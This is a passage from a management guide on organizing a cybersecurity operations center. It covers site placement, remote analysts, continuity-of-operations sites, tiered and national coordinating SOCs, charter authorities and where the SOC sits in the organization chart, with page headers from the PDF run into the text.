functionsThe SOC sits at the center of a political vortex—plenty of other people in the constituency believe that some element of CND is in their swim lane—fuel-ing conflict with the SOC. Physical presence near these other entities gives the SOC an advantage by supporting close, ongoing contact that can help keep the SOC’s interests and impact visible to other stakeholders. Keep close contact with constituency leadership and other groups from Appendix BThe SOC must leverage support from parent organizations and coordinate with various groups in response to incidents, especially major ones. While this can be done virtually, it’s best if they can be brought together physically. Provide analysts bet - ter constituency mission and operations context, speeding analysis and response effortsBeing at a site where IT assets and users reside automatically gives the SOC many advantages—the ability to interact with constituents, perform touch labor on sensors, and execute on-site incident response. Ensure the SOC’s focus on the constituency is not biased to any one organizational or geo-graphic regionAnalysts will tend to automatically tune into what is going on at the site where they are located. This is both a blessing and a curse. If analysts are biased toward their site, what are they missing at the others? In more extreme cases such as large, heterogeneous enterprises, remote sites will perform their own security monitoring and incident response functions without coordinating with the SOC—in large part because they feel the SOC is out of touch with their mission. Better position the SOC for staff hours that mirror when the constituency is open for businessThe SOC’s business hours should encompass those of the constituency. It helps to place the SOC in the same time zone as a plurality of the constituency. If the constituency’s users and IT assets are spread all over the world, the SOC may have more options to maintain 24x7 operations while keeping analysts employed only during the daytime. Ensure continuity of operations of the CND mission through geo-graphic diversity of SOC assetsThe SOC should ideally be considered integral to the constituency’s mission. This may compel SOC management and constituency executives to create one or more additional redundant or “load balanced” operations floors, giving the SOC some geographic diversity and resiliency. 60 4.3.2 W here to Place the Main SOC In theory, the SOC could operate from any location that has ample rack space, office space, and connectivity to the rest of the constituency. If the constituency has consolidated its IT into one or a few data centers, the SOC could operate there, providing on-site response for a large proportion of incidents. Doing so would also allow the SOC to orient toward mission systems, enabling them to focus more on what’s going on with the computing environment and less on routine politics. In practice, this isn’t always the best strategy. Practically speaking, most SOCs are members of their own constituency. Furthermore, they rarely have absolute authority in incident prevention or response. In this regard, their most important contact(s) are those from whom the SOC derives power, such as the CIO. The SOC must maintain continual contact with constituency seniors in order to stay rel - evant; this is a distinct characteristic in comparison to IT or network operations. The best place for the SOC is at or very near the constituency headquarters. SOC representatives will likely need to meet with key constituency technical points of contact (POCs) (CISO, sysadmins, security personnel, etc.) on a regular basis, and also with constituency seniors (chief technology officer [CTO], chief operating officer [COO], CIO, CEO, etc.) from time to time. There are constant changes to policy, monitoring archi - tecture, threat, and incidents, all of which require regular coordination. If there is insuf - ficient power, space, and cooling for SOC servers or no suitable place for a SOC operations floor in the headquarters building, it may be better for the SOC to find a suitable space at a nearby office building, preferably one already owned or leased by the constituency. 4.3.3 S mall and Large Centralized SOCs If we pursue a centralized SOC model, we must have a way to support a presence at remote sites for purposes of incident response, equipment touch labor, and general visibility. This is crucial when the constituency headquarters is far from major elements of constituency operations. Here are some compensating strategies for a centralized SOC model with a geo - graphically dispersed constituency: ‚Have at least two designated POCs or “trusted agents” (TAs) at each major location where the constituency operates. These trusted agents: • Are usually sysadmins or security officers (ISSOs) • Watch over security-relevant issues at the site, such as new system installs and changes to network architectureAchieve Balance Between Size and Agility T en Strategies of a World-Class Cybersecurity Operations Center61 • Hold the keys to SOC racks or rack cages and are the only people who are allowed to physically touch SOC systems • Are the default contacts for on-site incident response • Are customers of the SOC’s audit collection/distribution capability, if one exists • Serve as champions for SOC interests at the site. ‚Make contact with site TAs at least quarterly to ensure they’re still in the same position and that their contact information is still current. Having multiple TAs at a site will help ensure that if one person leaves, the alternate TA can find a suitable replacement. ‚Have SOC representatives participate in IT CM/engineering boards for IT assets that operate at remote sites ‚Send SOC representatives to quarterly or annual collaboration forums run by IT people at sites where they discuss major initiatives in site IT ‚Keep up-to-date rack diagrams for all SOC equipment, both both local or remote ‚Have access to updated network diagrams of site networks and enclaves. As we can see here, the line between centralized and distributed SOC models may appear to blur when we talk about how to keep tabs on remote sites. The main distinc - tion here is that the site TAs don’t work for the SOC as their main job. Therefore, the SOC cannot heavily task them outside the scope of incident response and sensor touch labor. In hybrid and distributed models, this is not the case, as we describe in the next section. 4.3.4 Incorporating Remote Analysts Taking our model of TAs one step further, we can actually deploy SOC personnel to remote sites, thereby augmenting resources at the central SOC operations floor. While these indi - viduals report to the SOC, the SOC’s main analysis systems are still near the operations floor, and most incident calls are routed to the ops floor. However, we now have people who perform all the roles of the TA, above, make CND part of their day job, and are accountable to SOC leadership. Keeping members of the SOC working in concert while spread across multiple sites will certainly be a challenge. Here are some tips on how to keep the whole SOC in sync: ‚Ensure that analysts at remote sites go through the same personnel vetting and indoc - trination process as all other SOC analysts. ‚The SOC CONOPS and escalation SOPs need to support site escalation and response coordination with SOC operations leads. We don’t want anyone at the site taking response actions without the knowledge of SOC leadership. ‚Consider hiring analysts at remote sites who previously held IT security–related jobs at that site, thereby leveraging their familiarity with local operations and IT “culture.” 62 ‚Folks at remote sites may get bored and feel disconnected from the main SOC. Some ways to mitigate this are: • Bring them back to the SOC for one to three weeks every year, as budget allows, for team cross-pollination and refresher training. • Consider having a “virtual ops floor” where all floor analysts and site analysts join an open chat room, video session, or VoIP session while on duty. • Call extra attention to successes by site analysts to the rest of the SOC team. • Schedule regular visits and telecons by SOC leadership to analysts at remote sites, giving them “face time” and keeping leadership abreast of site activity. ‚For sites that host more than a few analysts, consider a “mini ops floor”—perhaps a small set of cubes where site SOC personnel can interact. ‚Consider keeping site analysts on the job during their site’s business hours. ‚Ensure all SOC data feeds and sensors are integrated into one unified architecture. While the site should have its own specific source of log data and monitoring systems, this should be part of one unified, coherent architecture, with analytics tailored to that site or region. ‚Some site analysts may demonstrate skills worthy of promotion to Tier 2, trending, or signature management. Give them appropriate room to further tailor data feeds, dashboards, and SIEM content to use cases specific to the site. ‚Consider approaches for extending the SOC enclave (described in Section 10 ) to the remote site for use by the analysts there, perhaps leveraging one of the following approaches: • Connect SOC workstations back to the SOC through a strongly authenticated virtual private network (VPN), and ensure that sensitive SOC material is under close physi - cal control. • Use a remote thin-client capability with strong authentication if remote site SOC materials cannot be cordoned off from other users. 4.3.5 C entralized SOC with Continuity of Operations So far, we’ve discussed scenarios where the SOC has one main ops floor and one place where its management systems and data resides. If the ops floor is taken offline, the CND mission is offline. Senior constituency leaders and SOC management may decide that some level of physi - cal redundancy is necessary. The purpose, of course, is to ensure continuity of operation (COOP) of CND capabilities in the event of an outage such as the classic “smoking crater” events (thermonuclear war, fire, etc.), weather events (hurricanes, tornados, severe snow, etc.) or power/network outage.Achieve Balance Between Size and Agility T en Strategies of a World-Class Cybersecurity Operations Center63 When building a COOP capability for the SOC, there is often an impetus to implement a full-blown “hot/hot” capability whereby a complete duplicate of the SOC’s systems (includ - ing a second ops floor) is stood up at a location distant from the primary SOC ops floor. This can be very expensive and is not always necessary. Before rushing into a decision for creat - ing a COOP site, the SOC should carefully examine the following decision points: ‚What contingencies is the COOP plan designed to address? How realistic are they, and how often are they likely to occur? ‚If the main site constituency systems or SOC enclave were “hacked,” are the COOP SOC systems designed to be insulated from compromise? ‚In the contingencies described, if the SOC was taken out along with the rest of the site where it is located, what constituency systems are left to defend? ‚If activation of the SOC’s COOP capability were called for and there were any impedi - ments in the process of executing the COOP, would the CND mission actually be a priority in the eyes of constituency seniors? ‚Is a full, second instantiation of the SOC warranted? • Will a partial duplicate suffice? • Does the creation of a secondary COOP site, even if only partial, outweigh other competing resource needs such as more sensors or more personnel? • Does the secondary COOP site need to be regularly staffed? If so, should it be for the same hours as the main SOC (such as 24x7) or will regular business hours suffice (8x5 or 12x5)? ‚In a COOP scenario, how long can the SOC be down? How quickly must the second - ary capability be brought fully online? ‚For the COOP site(s) under consideration, does their functionality (such as WAN and Internet connectivity) depend on infrastructure at the SOC’s main site? If so, it may be a poor choice. Many COOP SOC capabilities are built for the classic “smoking crater” scenario, which is very unlikely to occur. COOP is exercised far more often for non-extreme reasons such as network outages, power outages, or major weather events. The other major reason for a SOC to create a second site is essentially to create a second ops floor that can focus on assets at another major site or region of the constituency. In this scenario, we have analysts manning consoles at both locations on a sustained basis, with the analysis workload load-balanced between the two ops floors—perhaps by network/enclave, geographic region, or line of business. This approach is especially handy for constituencies located primarily at two major sites. Even for SOCs that have a hot/hot COOP capability with servers and analysts at both sites, it is rare that every section of the SOC resides at both locations. More often, we have 64 redundant systems such as the SIEM and IDS management servers, local IDS sensors, Tier 1 analysts, and, perhaps, a couple of sysadmins at the COOP site. In this scenario, it’s much easier to coordinate operations between sites than if we also spread Tier 2, trend - ing, intel fusion, sensor management, engineering, and all SOC capabilities between two places. Regardless of what functions reside at the secondary site, the SOC CONOPS should carefully integrate compensating controls to keep both sites in sync. It also helps to have a lead for the secondary site to coordinate operations with the main site leads and to provide care and feeding for the local analysts. One strategy that may work for SOCs with a hot COOP site in a different time zone is to either match or stagger shifts. By staggering shift changes for the two sites, there is always someone watching the console. For instance, if the main site is an 8x5 operation, the working hours for the secondary site two time zones away could be shifted by an additional two hours, giving four hours of overlap. By doing this, each site is up for eight hours, but together they provide 12x5 coverage. Creating a second ops floor is very expensive and can be seen as a major drain on resources, especially if regularly staffed. If a SOC wishes to have a secondary COOP “luke - warm” site that it doesn’t staff every week, it may consider the following strategy: 1. C hoose an existing constituency office building or data center with at least a few spare racks and cubicles. 2. D eploy a redundant instance of key SOC systems such as SIEM, PCAP stores, and IDS management systems, thereby providing failover capability. 3. F ind a good spot to place some SOC workstations, perhaps near the TA’s office or cubicle. 4. E nsure all security data feeds are directed to both sites or mirrored from the pri - mary to the secondary, at all times. a. I f the primary site goes offline, having the log data immediately available at the secondary location could be invaluable. b. W hen performing COOP, the amount of time to bring the secondary site online should be minimized. If monitoring systems there are online but not being used, transition is that much quicker. 5. R egularly check (perhaps on a monthly basis) to ensure COOP servers and systems are functional and up-to-date with patches and configuration changes. 6. S chedule semiannual practices of the SOC COOP. Having redundant core SOC systems will often come in handy. By placing them at a secondary site, the SOC’s mission gains an added measure of redundancy. The biggest downside of this strategy is that any touch labor to site systems will come at the expense of the TA’s time or sysadmins’ travel dollars.Achieve Balance Between Size and Agility T en Strategies of a World-Class Cybersecurity Operations Center65 In summary, there are two key elements to an effective SOC COOP capability: (1) cre - ate and maintain it against a concrete set of business requirements, and (2) carefully man- age the expectations of constituency leadership in the level of continuity the SOC is able to provide. 4.3.6 Centralized SOC with Follow the Sun In the “follow the sun” model we have three ops floors, each separated by roughly eight time zones. Each ops floor is on the watch during local business hours (e.g., 9 a.m. to 5 p.m.). At 5 p.m. local time, one ops floor rolls to the next ops floor, where it is 9 a.m. This pattern continues every eight hours, giving 24x7 coverage but without making people come to work in the middle of the night. This approach is very common for IT help desks that serve wide geographic regions (e.g., with major IT vendors and very large corporations). Another advantage is that the operators on shift are more likely to speak the language of those calling during their shift. In terms of pure labor costs, it also may be more affordable than a single ops floor staffed 24x7 because paying people during normal business hours is usually less expensive than paying them to come in at night. However, follow the sun is far less common in security operations because a couple of key assumptions do not carry over. First, help desks spend a lot of their time talking to users. SOCs certainly interact with users, but they spend most of their time collaborating internally. Therefore, it’s important to have all sections of the SOC not only in the same place but at work at the same time. In addition, language barriers and cultural differences among ops floors may be a challenge if each ops floor is staffed by personnel of different nationalities. Second, although help desks are certainly dynamic environments, SOCs are subject to much more continual change in TTPs. Over the course of a few years, the SOC may completely evolve the way it does business, in response to growing mission demands or new threats. Moving three separate ops floors in the same direction at the same speed is an added challenge. Third, each SOC Tier 2 and trending analyst will work a number of threads for several hours or days. Handing off an incident from one analyst to the next every eight hours isn’t feasible. Either this limits the follow the sun scenario to just Tier 1, or we have three inde - pendent Tier 2s, each pursing its respective set of incidents. If SOC managers wish to pursue a follow the sun approach, it is best to weigh the financial and procedural burdens against the virtues of this model. Of particular impor - tance is the need to synchronize operations and promote cradle-to-grave ownership of incidents. 66 4.3.7 T iered SOC We have introduced the concept of a tiered CND architecture where multiple SOCs oper - ate in a federated manner within a large organization. There are many examples where such an arrangement might be appropriate: within each branch of the DoD, Department of Treasury, Department of Justice (DoJ), Department of Homeland Security (DHS), and so forth. Although each of these entities has one SOC with purview over the entire depart - ment, there exist several subordinate SOCs beneath each that perform the majority of CND “heavy lifting” for the organization. These include regional NOSCs under the U.S. Army, Financial Management Service under Treasury, Drug Enforcement Administration under DoJ, and Immigration and Customs Enforcement under DHS. In all of these cases, we have a department- or branch-level SOC, as well as multiple SOCs beneath each. Both the central and subordinate SOCs have a meaningful role to play, even though those roles can be quite different. Going back to a previous point, we must balance the need to maintain strategic SA with the need to be close to mission assets. Most people familiar with CND are used to operating down in the weeds. This can become a source of conflict in a tiered SOC scenario. In a tiered scenario, the job of the central SOC is to enable security operations across the constituency and maintain a strategic perspective. How do we differentiate these roles? Once again, leveraging our capability templates from Section 4.1.2 , let’s focus on how these two SOCs interact and share the CND mission. (See Table 6.) It’s also important to recognize that not all coordinating and subordinate SOCs fall cleanly into these roles. Some SOCs that sit within a large constituency can support better resourcing, more advanced capabilities, and more strategic reach. Larger organizations can afford more capabilities and, thus, have the potential for greater independence, even though they fall underneath a coordinating SOC. The constructs presented here are only a starting point for establishing roles among tiered SOCs. Having sorted out the roles and responsibilities of the central and subordinate SOCs, let’s look at likely data flows between them. (See Figure 15.) There are a couple of themes that should emerge here. First, the coordinating SOC handles tasks that scale well across the constituency and can be done in one place. For instance, their expertise in advanced tools and adversary TTPs makes them a good place to formulate training programs for the subordinate SOCs. It’s also a great place to perform adversary tradecraft and TTP analysis, because they should have the analysts, the tools, Achieve Balance Between Size and Agility T en Strategies of a World-Class Cybersecurity Operations Center67 the time, and just enough knowledge of constituency networks to make sense of the arti - facts handed to them by subordinate SOCs. Second, it’s the job of the subordinate SOCs to perform most of the tactical hands-on monitoring, analysis, and response to incidents. The coordinating SOC is there to make sure its entire constituency is working toward a common goal, and that they have shared SA. While the subordinate SOCs may provide a limited event stream to the coordinating SOC, it’s unlikely the coordinating SOC analysts have the context to make sense of that data. Incident reporting and trending from the subordinate SOCs support coherent SA for - mulated by the coordinating SOC. Third, it is more likely that the central coordinating SOC will have a sizable budget for big technology purchases and custom tool development. Requiring subordinate SOCs to use Table 6 Differences in Roles for Tiered Approach Responsibility Central SOC Role Subordinate SOC Role LocationLocated at or near constituency headquartersLocated at office or headquarters of subordinate constituency Monitoring, Incident DetectionAcross constituency assets not covered by subordinates, such as Internet gatewaysWithin assigned constituency Cyber Situational AwarenessStrategic across entire enterprise Tactical within own constituency Threat Analysis and Cyber IntelStrategic across enterprise, report - ing to subordinates, detailed analy-sis of adversary TTPsTactical within constituency, con- sumer of central threat analysis, focused on individual incidents Incident ResponseCross-constituency coordination, operational directionIntra-constituency response Security-Relevant Data ManagementReceives summary information and incident reports from subordinates; analysis and retention of data from assets not covered by subordi-nates, such as Internet gatewaysAnalysis and retention of own data, augmented with data from other organizations T rainingCoherent program for all analysts in constituencyExecution of general and specialized training for own SOC Reports toConstituency executives, external organizations Own constituency executives, cen-tral SOC Monitoring Capabil-ities and T oolsEnterprise licensing, lead on tool deployment and refreshChooses monitoring placement, specialized gear when needed 68 a specific product may be too heavy-handed. Instead, what may work is to mandate the use of a type of tool and provide free copies of one specific brand. As a result, the subordinate SOCs can use the enterprise tool if it fits their needs or pay for their own if it doesn’t. Last, and perhaps most important, the coordinating SOC must work very hard to main - tain relevance and usefulness in the eyes of the subordinate SOCs. The SOCs at the bottom of the food chain are typically sitting on a pile of raw data. The coordinating SOC has little apart from the incident reporting, cyber intel, and select data feeds from its subordinates. The coordinating SOC must also be careful that downward-directed guidance and tasking are perceived as relevant and useful. They must work in a symbiotic relationship that stems from perceived value and analyst-to-analyst contact, far more than mandate and policy. The coordinating SOC may offer substantial help in the form of in-depth forensics capabilities, cyber intel, and SA to Achieve Balance Between Size and Agility Figure 15 Data Flows Between Central and Subordinate SOCsBusiness Units Constituency ISSMs and ISSOsExecutivesIncident Reporting Strategic SA Select Incident Reports Situational Awareness Situational Awareness Incident CoordinationNational SOC Central Coordinating SOC SIEM Special Tools Intranet Portal SIEMSpecial Tools Subordinate SOCCyber Intel & TrendingCyber IntelReports IncidentReporting Select Data Feeds IDS Signatures& SIEM Content IncidentReportingIncidentCoordination T en Strategies of a World-Class Cybersecurity Operations Center69 its subordinates, in exchange for the subordinates’ processed incident reports. The subordi - nates turn data into information; the coordinating SOC turns information into knowledge. This relationship is self-reinforcing over time and, usually, must begin by the coordinating SOC offering something of value to its subordinates that these subordinates cannot get on their own, such as tools and authority. 4.3.8 Coordinating SOCs At the most extreme end of constituency size are national coordinating SOCs, which we will colloquially refer to as “mega-SOCs.” Today, there is limited agreement on the proper role of these organizations. They are comparatively few in number so their capability portfolio and influence are subject of some debate. National-level coordinating SOCs have a unique mis - sion; their goals include: ‚Forming a coherent SA picture for their entire constituency, focusing on constituency vulnerability to threats, and adversary TTPs ‚Harmonizing operations among their subordinate SOCs ‚Bringing their subordinate SOCs up to a baseline set of capabilities. By contrast, most CND analysts and leaders are used to operating down in the weeds where they have access to raw data, have some measure of vested authority over their constituency, and are direct participants in incident response. The “mega-SOC” doesn’t always have these things, and when it does, they often take on different forms than with the mega-SOC’s subordinates. Instead of focusing on direct reporting of raw event feeds or promulgating detailed operational directives, the coordinating SOC may achieve its goals by providing a unique set of capabilities that its subordinates usually can’t. These include: ‚Providing secure forums for collaboration between subordinate SOCs (e.g., wikis and secure online forums) ‚Performing strategic analysis on adversary TTPs by leveraging a wealth of finished incident reporting. A mega-SOC is uniquely positioned to focus on observing and trending the activity of key actors in the cyber realm. ‚Providing a clearinghouse of tippers, IDS signatures, and SIEM content that other SOCs can directly leverage without further legwork. A mega-SOC could harvest indi - cators from human-readable cyber intelligence and provide it back out in both human- and machine-readable form for ingest by subordinates’ analysts and SIEM, respec - tively. In order for this to work, however, intel should be turned around in a timescale and with detail that is beneficial to its recipients. This will likely mean processing and redistributing cyber intel in timeframes of hours or perhaps a few days, and in so doing preserving as much original detail and attribution as possible. 70 ‚Aggregating and sharing CND best practices, process documents, and technical guidance ‚Providing malware analysis and forensic services to constituent SOCs that have col - lected the necessary files or images but don’t have the staffing to analyze them • Of all the things a mega-SOC can do, this is potentially one of the most impactful, because many SOCs have a hard time maintaining the skill set to perform the mal - ware analysis or forensics that is critical to have during a major incident. • This can include an automated Web-based malware detonation “drop box” (See Section 8.2.7 .) or in-depth human analysis of media or hard-drive images. ‚Providing enterprise licensing on key CND technologies such as network and host monitoring tools, vulnerability scanners, network mapping tools, and SIEM, provided the following two conditions are met: (1) subordinates are not forced to use a specific product, and (2) there is sufficient demand from subordinates to warrant an enterprise license ‚Providing CND analyst training services: • On popular commercial and open source tools such as IDS and malware analysis • On the incident response process • On vulnerability assessment and penetration testing • Leveraging a virtual “cyber range” where analysts can take turns running offense and defense on an isolated network built for Red Team/Blue Team operations • Running SOC analysts through practice intrusion scenarios, using real tools to ana - lyze realistic intrusion data. In many ways, these services are far less glamorous than flying big sensor fleets or collecting large amounts of raw data, especially to those running the mega-SOC. From the perspective of the constituent SOCs, they are far more valuable, because they provide some - thing back. By providing these services, the Mega SOC is likely to achieve its unique goals better than if it tries to provide the same capabilities as its subordinates. For more details on standing up a national SOC, see [60] .Achieve Balance Between Size and Agility 71Chapter 5 Stra tegy 3: Give the SOC the Authority to Do Its Job The SOC must execute its mission against constituency IT assets that almost always belong to someone else. Even though the SOC is usually a member of the constituency it serves, primary ownership and operation of hosts and networks is vested in another member of the constituency that the SOC must interact with. As a result, the SOC’s ability to assert proactive and reactive authority must either be codified through written authority or inherited through the SOC’s parent organization. In our third strategy, we will address both of these issues in turn: (1) what authorities the SOC needs and (2) what organizational alignment will best aid the CND mission. 5.1 Written Authorities Every SOC exists based on some sort of written policy that grants its authority to exist, procure resources, and enact change. In addition, there are a host of supporting IT and cybersecurity policies that a constituency should have that enable a SOC to execute its mission. In this section, we will cover both in order. When crafting policy, you may want to consider the additional guidance in Section 2.5 of [8] and the policy templates found in [61]. 5.1.1 C harter Authority SOCs are generally considered effective if they have the ability to both detect incidents and direct countermeasures. Bringing these roles together 72 requires a well-written charter and supporting cybersecurity policies. While the SOC must get along with various cybersecurity stakeholders, the SOC must frequently refer to formal doctrine. An effective SOC should have a charter and set of authorities signed by constituency executive(s) in order to press for the resources and cooperation needed to execute its mission. This charter may also include the services expected of the SOC, but should not inhibit a SOC from growing into its roles as its maturity and resources progress. Even in cases where a SOC has not fulfilled the entire scope of its charter, having that piece of paper helps the SOC grow into such a role. The charter describes what a SOC should be doing, not just what it is currently capable of doing. It is important also to recognize that the charter does not describe how a SOC fulfills its mission, only what it does and who has supporting responsibilities. A charter also helps eliminate misconceptions about what the SOC is and what it must do. Conversely, SOCs that lack such written authority often have to spend a lot more energy begging for help and less time making a positive impact. Every organization has a different approach to writing IT/cybersecurity policy. With that in mind, we will consider the “whats” of policy and authorities that will enable a SOC to execute its mission, without focusing too much on the “hows.” How these elements are allocated among a charter and other policy documents may vary. The main distinc - tion is that the core scope of the mission should always get the signature of the constitu - ency’s chief executive. Other items may be codified elsewhere and, therefore, updated with greater frequency. The following policies are written for a tiered SOC model. Readers can take this tem- plate and modify it according to their own organizational model and offered capabilities. 5.1.2 L owest Tier SOC The following elements should be codified in the charter of a SOC that is the sole CND pro - vider for a given constituency or that sits at the lowest tier in a multitiered arrangement: ‚To function as the operational center and head of cyber intrusion monitoring, defense, and incident response for the constituency ‚Within its constituency, the authorities to: • Deploy, operate, and maintain active and passive monitoring capabilities, both on the network and on end hostsGive the SOC the Authority to Do Its Job T en Strategies of a World-Class Cybersecurity Operations Center73 • Proactively and reactively scan hosts and networks for network mapping, security configuration, and vulnerability/patch status • With SOC line manager approval, coordinate or directly apply countermeasures (including the termination of network resources) against systems and user accounts involved in an incident, in coordination with system and network owners • Respond directly to confirmed incidents, in cooperation with appropriate parties, possibly including reporting outside of their management chain to entities such as the CIO or CEO, if necessary • Gather, retain, and analyze artifacts such as audit log data, media images (hard drive, removable media, etc.), and traffic captures from constituency IT system to facilitate incident analysis on both an ad hoc and sustained basis, recognizing any handling caveats derived from applicable laws, regulations, policies, or statutes. ‚To be recognized by help desk staff, ISSMs, ISSOs, and IT support staff when report - ing, diagnosing, analyzing, or responding to misconfiguration issues, outages, inci - dents, or other problems that the SOC needs external support to resolve ‚To architect, acquire, engineer, integrate, operate, and maintain monitoring systems and the SOC enclave ‚To exercise control over funding for tool engineering, maintenance, staffing, and operational costs ‚To support any other capabilities it intends to offer, such as security awareness build - ing, cybersecurity education/training, audit collection, or insider threat monitoring. 5.1.3 C entral Coordination SOC If the SOC follows a tiered model, the central coordinating SOC will likely need the follow - ing authorities in addition to those of the lowest tier SOC: ‚Serve as an entity that is operationally superior to subordinate SOCs • Gather security-relevant data from all subordinate SOCs • Coordinate response actions among subordinate SOCs • Direct improvements to subordinate SOC capabilities and operations, in accordance with fulfilling incident response requirements across the greater constituency. ‚Manage devices that aggregate security-relevant data from subordinate SOCs and sen - sors directly placed on hosts and networks ‚Act as the focal point for enterprise-wide security information sharing and SA through common practices, SOC–provided/developed tools, and preferred technologies or standards ‚Propose enterprise-wide preferred standard network and security monitoring technolo - gies and practices 74 ‚Negotiate enterprise-wide licensing/pricing agreements of monitoring technologies that may benefit subordinate SOCs, where possible. 5.1.4 Other Enabling Policies Apart from the policies that directly enable a SOC to function, there are a number of other IT and cybersecurity policies that enable effective security operations. The SOC should consider influencing or providing comment on these policies or seeing that they are created, if they do not already exist: ‚User consent to monitoring: Giving the SOC and auditors the unambiguous abil - ity to monitor and retain any and all activity on all systems and networks in the constituency ‚Acceptable use policy: IT system usage rules of behavior, including restrictions on Internet and social media website use and authorized software on constituency systems ‚Privacy and sensitive data handling policies: Instructions for managing and protect - ing the types of information flowing across the monitored network, including per - sonal, health, financial, and national security information ‚Internally permitted ports and protocols: Enumeration of the ports and protocols allowed within the constituency, across the core, and through enclave boundaries ‚Externally permitted ports and protocols: Enumeration of ports and protocols allowed by devices through external boundaries such as through a demilitarized zone (DMZ), to business partners and to the Internet ‚Host naming conventions: Describing conventions for naming and understanding the basic type and role of IT assets on the basis of their DNS record ‚Other IT configuration and compliance policy: Everything from password complex - ity to how systems should be hardened and configured ‚Bring your own device and mobile policies (if applicable): Rules that govern how employees may interface with constituency networks, applications, and data with personally owned IT equipment and mobile devices ‚Approved OSes, applications, and system images: The general approved list of OSes, applications, and system baselines for hosts of each type—desktops, laptops, servers, routers/switches, and appliances ‚Authorized third-party scanning: Rules for notifying the SOC when another orga - nization wishes to perform scanning activity such as for vulnerabilities or network discovery ‚Audit policy: High-level description of the event types that must be captured on which system types, how long the data must be retained, who is responsible for Give the SOC the Authority to Do Its Job T en Strategies of a World-Class Cybersecurity Operations Center75 reviewing the data, and who is responsible for collecting and retaining the data—with recognition of the performance impact value of the data gathered ‚Roles and responsibilities of other organizations with respect to incident response: Most notably those bolded in Appendix A ‚Written service level agreements (SLAs) where applicable: • Network capacity and availability requirements • Contingency planning if contracted network services fail • Network outage (incident) alerts and restoration and escalation/reporting times • Security incident alerts and remediation procedures and escalation/reporting times • Clear understanding of each party’s responsibilities for implementing, operating, and maintaining the security controls or mechanisms that must be applied to the network services being purchased. ‚Legal policies: Concerning classifications of information, privacy, information reten - tion, evidence admissibility, and testifying during investigations and prosecutions of incidents. 5.2 Inherited Authorities The SOC draws its authorities, budget, and mission focus from the organization to which it belongs. Making the right choices about where to put the SOC in the organization chart can propel it to greater success than it would otherwise be capable of. For most SOCs, their placement within the constituency is a function of decisions that were made when the SOC was first formed. During either creation or corporate restructuring, there are opportunities for executives to fine-tu ne the SOC’s organizational placement. The SOC’s organizational placement is keenly influenced by the following factors: ‚Organizational depth—how far down in the organization chart the SOC is placed. Does it report directly to the CIO or is it buried 15 levels deep? If the latter, what policy and process can be put in place to mitigate this? ‚What authorities the parent organization has—both on paper and in practice. ‚The power and influence wielded by parent organization executives. Are they attuned to the CND mission, can they support authority models discussed in Section 2.3.3 , and are they likely to stay “hands off” from day-to-day security operations? ‚Established funding lines and budget of the parent organization. Are they able to fund tools for comprehensive monitoring and people who can staff all the capabilities implied by the SOC’s charter? ‚What capabilities the SOC will offer. ‚What organizational model the SOC features. If it is tiered, can the subordinate “mini-SOCs” live within business units while the coordinating SOC sits under the 76 CIO? Or, if it is a centralized SOC, can it sit near the NOC and preside over the entire constituency? The choice of organization placement is intertwined with another, perhaps more inter - esting question: “Who is in control of defending the enterprise?” More often than not, there are multiple executives who feel they are the protectors of the mission. Under which execu - tive would the SOC flourish, and how far down the command chain should it sit? In order to direct defense of the enterprise, we need two things: (1) SA over the con - stituency, down to specific incidents and the systems and mission they impact, and (2) the authority and capability to direct changes to IT systems proactively or in response to an incident—such as changing domain policies, routers, or firewalls or pulling systems off the network. As we discussed in Section 4.1.1 , these two needs can be at odds with each other, creating tension in where the SOC s hould sit and to whom it should report. Several execu - tives—CEO, COO, chief security officer (CSO), CIO, CISO, CTO, and their subordinates—have at least some sense of ownership over cybersecurity and have a legitimate need for the SA a SOC can provide. When there is a serious incident, it is likely that many of these parties will want to be informed. Things get sticky when multiple parties assert (poten - tially conflicting) roles in directing, implementing, or approving response to an incident. A SOC’s actions are often second-guessed, especially during an incident. Gaining “street cred” through a well-advertised track record of handling incidents competently helps offset this. But this is gained slowly over many good deeds and lost easily by few mistakes. Clarifying who truly gets to call the shots through policy signed by the chief execu - tive of the constituency is critical. This is true regardless of the authorities delegated to the SOC. Each one of these executives serves as a candidate for the management a SOC will serve under and, thus, its organizational placement. This can occur intentionally through charter, by the demands of the larger mission or business needs, or simply by accident of where a SOC was first formed. Despite all of this, the SOC is distinct and separate from almost any other part of the constituency, even though it may be near a NOC, CISO, or security function. Its skills, attitude, mission, and authorities always set it apart. As a result, the following is almost always true: Regardless of organizational placement, a SOC often feels like the ugly duckling. This compels the SOC to regularly connect with partner organizations and clearly articulate its role and value.Give the SOC the Authority to Do Its Job T en Strategies of a World-Class Cybersecurity Operations Center77 Regardless of where we place the SOC, it must have budgetary, logistical, and engi - neering support in place to serve its sustained operations and growth. It must not be bro - ken into disparate pieces. In the following subsections, we briefly discuss some pros and cons of some popular organizational alignments. 5.2.1 S ubordinate to the Chief Information Officer or the Chief Information Security Officer This arrangement makes the most sense with large constituencies where IT operations and the NOC fall under the CIO or CISO. They have an “ops” slant while maintaining strate - gic visibility and authority. If this is not the case and the CIO is mostly oriented toward IT policy and compliance, this can be a bad arrangement for the SOC. It most likely will lack “street cred” and will not maintain a CND focus. Sometimes a deputy CISO or deputy CIO position may be created whose sole responsibility is to manage the SOC (preferably given great leeway by the CIO). A SOC organized under a CIO or CISO who can support a true ops tempo with tactical visibility and connections can work very well. In many cases, where the SOC is organized somewhere other than the CISO, it will have some sort of “dotted line” relationship whereby the CISO or CIO influences SOC actions and focus. 5.2.2 S ubordinate to the Chief Operations Officer This can be a positive arrangement for the SOC, assuming operations functions of the constituency are consolidated under the COO. In such a scenario, the SOC is more directly involved in meaningful conversations about the daily operations and mission of the con - stituency as a whole. If there is a daily ops “stand-up,” the SOC may have direct representa - tion. It is also more likely that the SOC’s needs will be met through adequate policy, budget, and authorities. This arrangement can be looked upon fondly by some SOCs because of its visibility, but the SOC must be careful what issues it brings to the COO’s desk, for fear of “crying wolf.” On the downside, it can be a challenging position because the SOC will likely compete for the COO’s limited time and money. If the COO does not have direct, meaningful con - trol over constituency operations or the COO’s function is seen as “overhead,” the SOC can inherit this reputation as overhead and be vulnerable to cuts during budget time. 5.2.3 S ubordinate to the Chief Security Officer A SOC almost always leans on information security professionals located across an enter - prise to help establish visibility and support response at remote sites. Alignment under secu - rity can help strengthen this. It can also help if these security bodies are able to seamlessly take care of IT compliance and misuse cases. Doing so (as is the case with many ISSOs in 78 Give the SOC the Authority to Do Its Job government) leaves the SOC to focus on more advanced cyber threats. However, constitu - ents’ potentially negative perception of “security,” “overhead,” or “compliance” functions may not help. In addition, it may sometimes be too much of a stretch for an organization responsible for physical protection to take on a large portion of the cybersecurity 